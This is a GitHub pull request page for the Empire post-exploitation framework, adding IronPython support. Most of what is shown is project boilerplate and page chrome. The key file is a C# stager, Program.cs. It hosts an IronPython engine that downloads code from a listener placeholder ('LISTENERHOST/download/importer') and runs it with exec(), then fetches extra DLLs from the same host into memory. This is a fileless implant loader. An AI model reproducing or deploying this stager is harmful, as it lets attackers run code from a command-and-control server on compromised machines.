This repository was archived by the owner on Jan 29, 2020. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 2.9k
IronPython Support [WIP] #1250
Open
ihamburglar
wants to merge
8
commits into
EmpireProject:dev
Choose a base branch
from
ihamburglar:dev
base: dev
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
IronPython Support [WIP] #1250
Changes from all commits
Commits
Show all changes
8 commits
Select commit
Hold shift + click to select a range
cf6bb3e
Modifications of OS enumeration
ihamburglar 5bb3f5a
Modifications of Listener
ihamburglar 06b7a1b
Added IPy dependencies to setup.sh
ihamburglar c339782
Fix typos and add a few things
ihamburglar e601c03
Add IronPython C# stager
ihamburglar 23f13dd
Added remote python https importer
ihamburglar a442db6
Added IronPython C# shell project
ihamburglar c467813
updated httpimport.py to remove unessary code
ihamburglar File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,20 @@ | ||
| | ||
| Microsoft Visual Studio Solution File, Format Version 12.00 | ||
| # Visual Studio 2012 | ||
| # SharpDevelop 5.1 | ||
| VisualStudioVersion = 12.0.20827.3 | ||
| MinimumVisualStudioVersion = 10.0.40219.1 | ||
| Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "cmd", "cmd\cmd.csproj", "{17E4F716-E93B-42BF-B1A3-E24A46FE4CCD}" | ||
| EndProject | ||
| Global | ||
| GlobalSection(SolutionConfigurationPlatforms) = preSolution | ||
| Debug|Any CPU = Debug|Any CPU | ||
| Release|Any CPU = Release|Any CPU | ||
| EndGlobalSection | ||
| GlobalSection(ProjectConfigurationPlatforms) = postSolution | ||
| {17E4F716-E93B-42BF-B1A3-E24A46FE4CCD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU | ||
| {17E4F716-E93B-42BF-B1A3-E24A46FE4CCD}.Debug|Any CPU.Build.0 = Debug|Any CPU | ||
| {17E4F716-E93B-42BF-B1A3-E24A46FE4CCD}.Release|Any CPU.ActiveCfg = Release|Any CPU | ||
| {17E4F716-E93B-42BF-B1A3-E24A46FE4CCD}.Release|Any CPU.Build.0 = Release|Any CPU | ||
| EndGlobalSection | ||
| EndGlobal |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,28 @@ | ||
| using System; | ||
| using System.Reflection; | ||
| using System.Net; | ||
| using IronPython.Hosting; | ||
| using Microsoft.Scripting; | ||
| using IronPython.Modules; | ||
|
|
||
| namespace cmd | ||
| { | ||
| class Program | ||
| { | ||
| static Program() | ||
| { | ||
| AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(OnResolveAssembly); | ||
| } | ||
| public static void Main(string[] args) | ||
| { | ||
| var engine = Python.CreateEngine(); | ||
| engine.Execute("h = 'LISTENERHOST';from System.Net import WebClient;exec(WebClient().DownloadString(h+'/download/importer'));add_remote_repo(h + '/download/stdlib/');STAGER"); | ||
| } | ||
| private static Assembly OnResolveAssembly(object sender, ResolveEventArgs args) | ||
| { | ||
| string name = args.Name.Substring(0, args.Name.IndexOf(',')); | ||
| WebClient wc = new WebClient(); | ||
| return Assembly.Load(wc.DownloadData("LISTENERHOST/download/45/" + name + ".dll")); | ||
| } | ||
| } | ||
| } |
31 changes: 31 additions & 0 deletions
31
data/misc/IPYcSharpTemplateResources/cmd/Properties/AssemblyInfo.cs
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,31 @@ | ||
| #region Using directives | ||
|
|
||
| using System; | ||
| using System.Reflection; | ||
| using System.Runtime.InteropServices; | ||
|
|
||
| #endregion | ||
|
|
||
| // General Information about an assembly is controlled through the following | ||
| // set of attributes. Change these attribute values to modify the information | ||
| // associated with an assembly. | ||
| [assembly: AssemblyTitle("cmd")] | ||
| [assembly: AssemblyDescription("")] | ||
| [assembly: AssemblyConfiguration("")] | ||
| [assembly: AssemblyCompany("")] | ||
| [assembly: AssemblyProduct("cmd")] | ||
| [assembly: AssemblyCopyright("Copyright 2018")] | ||
| [assembly: AssemblyTrademark("")] | ||
| [assembly: AssemblyCulture("")] | ||
|
|
||
| // This sets the default COM visibility of types in the assembly to invisible. | ||
| // If you need to expose a type to COM, use [ComVisible(true)] on that type. | ||
| [assembly: ComVisible(false)] | ||
|
|
||
| // The assembly version has following format : | ||
| // | ||
| // Major.Minor.Build.Revision | ||
| // | ||
| // You can specify all the values or you can use the default the Revision and | ||
| // Build Numbers by using the '*' as shown below: | ||
| [assembly: AssemblyVersion("1.0.*")] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,6 @@ | ||
| <?xml version="1.0" encoding="utf-8"?> | ||
| <configuration> | ||
| <startup> | ||
| <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" /> | ||
| </startup> | ||
| </configuration> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,57 @@ | ||
| <?xml version="1.0" encoding="utf-8"?> | ||
| <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003" DefaultTargets="Build"> | ||
| <PropertyGroup> | ||
| <ProjectGuid>{17E4F716-E93B-42BF-B1A3-E24A46FE4CCD}</ProjectGuid> | ||
| <ProjectTypeGuids>{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}</ProjectTypeGuids> | ||
| <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration> | ||
| <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform> | ||
| <OutputType>Exe</OutputType> | ||
| <RootNamespace>cmd</RootNamespace> | ||
| <AssemblyName>cmd</AssemblyName> | ||
| <TargetFrameworkVersion>v4.5</TargetFrameworkVersion> | ||
| <AppDesignerFolder>Properties</AppDesignerFolder> | ||
| <TargetFrameworkProfile /> | ||
| </PropertyGroup> | ||
| <PropertyGroup Condition=" '$(Platform)' == 'AnyCPU' "> | ||
| <PlatformTarget>x86</PlatformTarget> | ||
| </PropertyGroup> | ||
| <PropertyGroup Condition=" '$(Configuration)' == 'Debug' "> | ||
| <OutputPath>bin\Debug\</OutputPath> | ||
| <DebugSymbols>True</DebugSymbols> | ||
| <DebugType>Full</DebugType> | ||
| <Optimize>False</Optimize> | ||
| <CheckForOverflowUnderflow>True</CheckForOverflowUnderflow> | ||
| <DefineConstants>DEBUG;TRACE</DefineConstants> | ||
| </PropertyGroup> | ||
| <PropertyGroup Condition=" '$(Configuration)' == 'Release' "> | ||
| <OutputPath>bin\Release\</OutputPath> | ||
| <DebugSymbols>False</DebugSymbols> | ||
| <DebugType>None</DebugType> | ||
| <Optimize>True</Optimize> | ||
| <CheckForOverflowUnderflow>False</CheckForOverflowUnderflow> | ||
| <DefineConstants>TRACE</DefineConstants> | ||
| </PropertyGroup> | ||
| <ItemGroup> | ||
| <Reference Include="IronPython"> | ||
| <HintPath>IronPython.dll</HintPath> | ||
| <Private>False</Private> | ||
| </Reference> | ||
| <Reference Include="IronPython.Modules"> | ||
| <HintPath>IronPython.Modules.dll</HintPath> | ||
| <Private>False</Private> | ||
| </Reference> | ||
| <Reference Include="Microsoft.Scripting"> | ||
| <HintPath>Microsoft.Scripting.dll</HintPath> | ||
| <Private>False</Private> | ||
| </Reference> | ||
| <Reference Include="System" /> | ||
| </ItemGroup> | ||
| <ItemGroup> | ||
| <Compile Include="Program.cs" /> | ||
| <Compile Include="Properties\AssemblyInfo.cs" /> | ||
| </ItemGroup> | ||
| <ItemGroup> | ||
| <None Include="app.config" /> | ||
| </ItemGroup> | ||
| <Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" /> | ||
| </Project> |
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
These are IronPython specific imports that enable operating system enumeration via .Net rather than normal *nix style enumeration. This the stager should still do the normal thing on *nix envs.